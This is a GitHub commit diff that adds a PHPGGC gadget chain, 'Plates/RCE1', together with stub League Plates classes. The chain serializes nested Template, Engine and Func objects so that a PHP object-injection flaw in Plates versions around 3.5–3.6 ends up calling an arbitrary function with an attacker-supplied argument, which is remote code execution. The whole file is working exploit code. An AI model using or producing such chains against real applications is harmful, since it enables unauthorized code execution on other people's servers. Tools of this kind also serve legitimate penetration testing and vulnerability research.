File tree Expand file tree Collapse file tree 2 files changed +89
-0
lines changed
gadgetchains/Plates/RCE/1 Expand file tree Collapse file tree 2 files changed +89
-0
lines changed Original file line number Diff line number Diff line change 1+ <?php
2+ namespace GadgetChain \Plates ;
3+
4+ class RCE1 extends \PHPGGC \GadgetChain \RCE \FunctionCall
5+ {
6+ public static $ version = '3.5.0 >= 3.6.0 ' ;
7+ public static $ vector = '__toString ' ;
8+ public static $ author = 'Tris0n ' ;
9+
10+ public function generate (array $ parameters )
11+ {
12+ $ function = $ parameters ['function ' ];
13+ $ parameter = $ parameters ['parameter ' ];
14+
15+ return new \League \Plates \Template \Template (
16+ new \League \Plates \Template \Template (
17+ new \League \Plates \Engine (
18+ new \League \Plates \Template \Functions (
19+ new \League \Plates \Template \Func (
20+ $ function
21+ )
22+ )
23+ )
24+ ),
25+ $ parameter
26+ );
27+ }
28+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace League \Plates \Template
4+ {
5+ class Template
6+ {
7+ protected $ name ;
8+ protected $ engine ;
9+
10+ public function __construct (object $ Engine , string $ parameter = null )
11+ {
12+ if ($ parameter !== null )
13+ {
14+ $ this ->name = $ parameter ;
15+ }
16+
17+ $ this ->engine = $ Engine ;
18+ }
19+ }
20+
21+ class Functions
22+ {
23+ protected $ functions = array ();
24+
25+ public function __construct (object $ Func )
26+ {
27+ $ this ->functions = [
28+ "getResolveTemplatePath " => $ Func
29+ ];
30+ }
31+ }
32+
33+ class Func
34+ {
35+ protected $ callback ;
36+ protected $ name ;
37+
38+ public function __construct ($ function )
39+ {
40+ $ this ->name = $ function ;
41+
42+ $ this ->callback = [
43+ $ this ,
44+ 'getName '
45+ ];
46+ }
47+ }
48+ }
49+
50+ namespace League \Plates
51+ {
52+ class Engine
53+ {
54+ protected $ functions ;
55+
56+ public function __construct (object $ Functions )
57+ {
58+ $ this ->functions = $ Functions ;
59+ }
60+ }
61+ }
You can’t perform that action at this time.
0 commit comments